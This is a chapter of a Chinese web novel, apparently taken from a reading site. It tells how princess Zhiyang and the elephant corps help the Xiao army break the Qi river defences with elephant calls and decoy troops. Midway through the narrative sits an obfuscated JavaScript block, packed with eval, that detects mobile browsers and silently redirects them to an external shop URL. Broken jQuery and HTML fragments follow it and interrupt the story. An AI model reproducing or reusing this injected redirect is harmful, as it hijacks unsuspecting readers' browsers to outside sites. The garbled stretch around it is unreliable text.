“越姐姐,到底怎么回事?”
越渟拍拍身下的象,“它们,不是牲畜,只会吼叫,渡江,可以大用场。”
稚阳回头问那军官,“为何不可让象营渡江?”
那军官仍焦急,“我的任务就是把象营带到岸边,没说要它们渡江啊。”
稚阳思虑片刻,“没说要渡江,也没说不许渡江,对不对?”
军官犹豫:“是没说不许……”
“那便是你传错话,惹了误会。”稚阳又抬头对越渟道,“越姐姐,我哥哥没有看不起你们,他们不是阻止象营渡江,只是现在有要紧的事请象营帮忙。”
“要紧事,真的吗,公主,不骗我?”
稚阳一时有点慌,她不知道哥哥那边的策略是什么。
要说服越姐姐,她只得自己去想,要象群到岸边是做什么……
她忽然瞥见营地的西南本地的战马此时面对象群正战战兢兢……
“是马!祁人的马都是北马,没见过象,没听过象鸣,所以请象营到江边,正是为了鸣扰乱对岸的马匹。越姐姐,祁人以马立国,若马乱了,便是抽了他们根基,所以你的象群正是关键!”
越渟道:“我懂了,但,我的象,一定要渡江。”
稚阳顿了顿,“好,你先让象营就位,我答应你。”
越渟看出她的犹豫,笑道:“公主,能做主吗?”
稚阳抬头正视越渟,“萧家公主,决不食言。”
———
夏棐问道:“殿下,江上雾如何了?”
景阳神情凝重,“大雾已比之前薄了许多,再耽搁下去,恐怕雾就要散……”
“若等雾散,谢将军那一队人都会暴露。”
景阳迅速下了决断,“若象群不听驱使,不能再等,即刻以我方号角通知谢建章行动。”
夏棐声音冷峻:“那是让谢将军拿命去换……”
景阳咬紧牙关:“渡江已经开始,不能回头了。”
“殿下!”传令兵匆匆赶来,“象营到位了!”
“好!”景阳喝了一声,“令所有人整备待命……”
“但是……”传令兵又接着说,“公主说象营必须渡江。”
景阳愣了愣,“公主?稚阳在干什么!”
“去传我的令,象群绝不许渡江!”
夏棐阻拦道:“不,等一下,稚阳为何一定要象群渡江……”
“你敢在此事上纵着她胡来?她根本不知象群极易失控,若对岸放火放箭,象惊了不分敌我,我整队人马都得遭殃!”
“不是胡来……”夏棐隔着眼纱向江上张望,“她一定看到什么,才下这种决定。”
“殿下,或许听她一次,但要让她一定拖住象营首领,时机到了再驱使象群渡江,否则对我方不利。”
话音刚落,一阵如同闷雷的巨兽低鸣,从地面滚滚而来,震得人脚下发麻,心里发慌。
夏棐有些站不稳,扶住旁边的树干,“听来象营已经准备好了。”
景阳望着眼前不知何时就会散去的大雾,他希望稚阳知道自己在做什么,她是拿萧家的信望在赌……
没想到自己这个做哥哥的,竟被她逼着一起赌。
“好,既然已经如此,让他们立刻驱使群象齐鸣!”
———
江岸顺风口处的密林里,越渟吩咐象营依次排开,象群隐匿在林中分散站立。
稚阳在越渟身后,一同坐在象背上。
此时象群仿佛已经被大雾中的厮杀撩动,巨大的身躯里滚动着隐雷一样的狂躁。
越渟不停摸着象颈安抚,“公主,象不驯,我不保证,一直控得住,若不让渡江,毁的是自家。”
稚阳一惊,江上大雾愈发稀薄,整队竹筏还在渡江,忙道:“先不要让象群过江,能拖多久就拖多久。”
“我尽力。”随即越渟露出危险的笑容,轻道:“公主,抓稳。”
紧接着越渟厉声短喝,身下之象猛然将长鼻昂起,第一声象鸣破空而出,如号角裂空,紧随其后众象齐鸣,声浪沿江滚去,穿透大雾。
林中惊鸟成群掠起,稚阳坐于象背,浑身震得发麻,只觉自己十分渺小,强忍捂住耳朵的冲动。
———
祁兵纷纷愣住,他们也未曾听过如此贴近的雷鸣。
象鸣之前,祁马早已因风中陌生的气味而躁动不安,象鸣一起,众马起立惊嘶,有的挣断缰绳,撞翻木栏,冲出马厩,却不知逃往哪里,骑兵急忙扑上去勒马……
守军将领隗望先安抚胯下战马,下令让骑兵下马,蒙住马眼遮住马耳,把马群都牵到背风处,但马已慌乱,控得艰难,甚至踩踏自己的士兵。
隗望又再下令,“所有弓箭手准备,向江上齐射,不准放任何人或者过江!望楼上的人用火箭,先找他们的象!”
箭雨覆盖江面,渡江的竹筏插满箭矢,筏上的人用藤牌挡着,被压制得抬不起头。
“将军,看不到他们的象!”传令兵回报。
隗望纵马到高处,隔着一半浓雾一半薄雾搜寻,“一定藏在林子里,千步弩上火箭,往林子里射,谁把林子点了我赏十两黄金!”
浓烟滚滚从雾中透出,满鼻都是呛人的灼烧味。
隗望惊惧回身,竟见背后山上星星点点降下着火的箭雨,点燃他们后方的营帐和辎重粮草。
一时腹背受敌,隗望忙喊,“快派两队人去灭火!”
正在此时,山岭上突然传来漫天鼓声、喊杀声,山头竖起数不清的萧字旗,雾中根本不知来了多少萧家大军。
有人大喊起来,“我们被抄后包围了!”
隗望遍体生寒,他们究竟是从何处渡江而来的……若后路被截,自己岂不是只能被赶进江里喂鱼……
“让人都给我去防后山!绝不能被他们合围!”
萧军的喊杀声从后山冲下来,只见最排头是个年轻的红衣将军,有人从后方冲入祁兵兵营。
江边林中,稚阳一眼便在薄雾中看到那身鲜艳的红衣,正是谢建章,想到他操练的故民,难不成也都过了江?稚阳的心不由得揪紧,那群人根本打不了仗,哥哥是派他们去送死么……
此时祁兵忙着冲向后方,渡江登岸的西南兵越来越多,他们冲开江防,搬开拒马,身手敏捷者爬上防江的望楼,跟藏匿其中的弓箭手缠斗。
大雾已经散了大半,江滩上到处都是西南士兵,祁人江防好不容易被撕开一个口子。
稚阳看清跟着谢建章冲下来的都是他的精锐亲兵,而此时山上战鼓一直擂,战旗一直摇,始终不见什么大军冲下来,稚阳这才完全明白,那些故民原来做的是这个。
可她隔着江都能看清,对面的守军也一定会发现山上大军都是假的。
———
隗望果然已发现中计,几乎咬碎了牙,“后山全是疑兵,不必理会,他们只有几百人!”
原本溃散的祁兵突然找回了主心骨。
“骑兵上马,渡江的才是主力,把他们按回水里我们就赢了!”
江滩上骑兵重新聚拢,渡江士兵瞬间承受巨大压力,江防上刚撕开的口子竟隐隐有合拢之势。
而江另一边林中一排躁动不安的巨物,它们不停踩踏,早就忍耐不住,要挣脱束缚冲下水。
象身上,稚阳全身绷紧,她看着最后一支竹筏靠近岸上,所有人都陷入了厮杀……
“该渡江了……”
“公主!”旁边的军官急赤白脸喊道,“殿下的军令还没到!”
稚阳又看一眼对岸,刚下筏子的士兵已被逼得退回水中……
“来不及等令了!有什么事我来担,越姐姐,渡江!”
越渟点头,高举右手挥下。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17889902|208857||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
象鸣终于彻底停下,江上空气像是被抽空,耳边嗡嗡作响,伫立在江边的望楼熊熊燃烧……
象群走入川流不息的江水,长鼻高高举出水面,象身半没水中,泅水而来。
“象来了——”不知是谁吓破了喉咙,祁兵人人四散逃离,唯恐被踏于象蹄之下。
西南兵惯与象营为伍,毫不畏惧,先替象营将残存的弓箭手一一砍倒,又借着象营之势往前推进。
两头跑的祁兵疲于奔命,已是乱作一团,有人从江防溃散,有人听令回撤,两拨人撞在一起,阵脚大乱。
那红衣将军所带之人虽然人少,却都是精兵强将,极擅近战,此时冲进回撤的祁兵群,将他们冲得更散,接敌的祁兵一时不知是听令回防还是应敌。
隗望仍在马上,见败势已不可阻挡,他也生了逃跑的念头,刚要勒转马头,坐骑却被失控的战马撞上,一时不察,红衣将军竟到眼前,一刀震开他仓促举起的兵刃,只见红影纵身一跃,一把扣住胸甲,将他从鞍上拖了下来。
落地后隗望还要再挣起,染血的长刀压在他的颈侧。
“想去哪?”那年轻将军眉头一挑,笑得意气飞扬。
———
象群游过江水,踏上江滩,稚阳坐在象身上一同过了江,觉得不可思议,她几乎是第一次,见到祁兵如此溃散而逃,原来他们也都不过是血肉之躯。
她远远看到谢建章已经抓住对面的主将,没来得及逃走的祁兵只得纷纷弃兵投降。
原来这就是赢了。
她口鼻闻到的燃烧和血腥,与从前没有不同,但却是第一次,她不用再逃。
大雾彻底消散,整个战场稚阳都看得清楚,山上的萧字旗下的人露出头来,正是之前谢建章操练的故民,他们还在虚张声势,按队列分散在数个山头,前排摇旗后排呐喊,喊完再依次撤开,从另一处再次现身,重新摇旗呐喊,这才骗得雾中祁兵以为山上大军源源不断。
哥哥这趟渡江竟有一套如此完整的战术,仿佛把祁军变成聋子和瞎子再攻其混乱,这样的手笔,稚阳以前从未见过,但却隐隐觉得熟悉,这难道是那位张正给哥哥的计策吗?
稚阳忽然回头,在江岸寻找,想知道那个张正到底是何方神圣,他是否也看着这场渡江的结果……
江边有一处高地密林,正是能俯瞰江岸的地方,她隐隐觉得人就在那里。
———
景阳看着江对岸,紧紧攥着拳头,畅快呼吸江上的凉风,他相信今夜终于能睡个好觉。
手下亲兵又来传报,“殿下!公主她,乘着象到对岸了。”
“我看见了。”景阳额头青筋跳了跳,“我真是太纵容她了,等她回来,我再同她算账。”
但见象背上妹妹的背影,她正默默注视战场,他又似自言自语道,“萧家一直输了这么多年,带她逃了这么多年,让她亲身体会一次胜利也好。”
景阳想到旁边的人已经很久没有出声,他转身去看那藏在黑影中的人。
“秉忱,这次多亏了你。”
夏棐早已站立不住,跌坐在石头上,他缓缓摇头,“是稚阳,象群渡江的时机刚好,这一仗,她是头功。”
景阳叹息,“阿稚进步确实很大,可还是太莽撞,又不听令,真拿她没办法。”
“她要学的还很多,只要有机会……”
夏棐的话被咳嗽吞掉,他捂住肋下旧伤,猛烈地咳起来,胸口听来像残破的风箱。
“接下来都交给我,你快去休息,我叫医师来看你。”
夏棐咳得说不出话,他用手在石头上撑了一下,还想站起身,去看看江对岸象身上的人……但手臂一软,没有撑住。
景阳忙去扶住夏棐,只觉层层衣物之下,他冷颤不止,汗浸湿了后背。
“秉忱?”
夏棐没有应声,头沉沉垂下。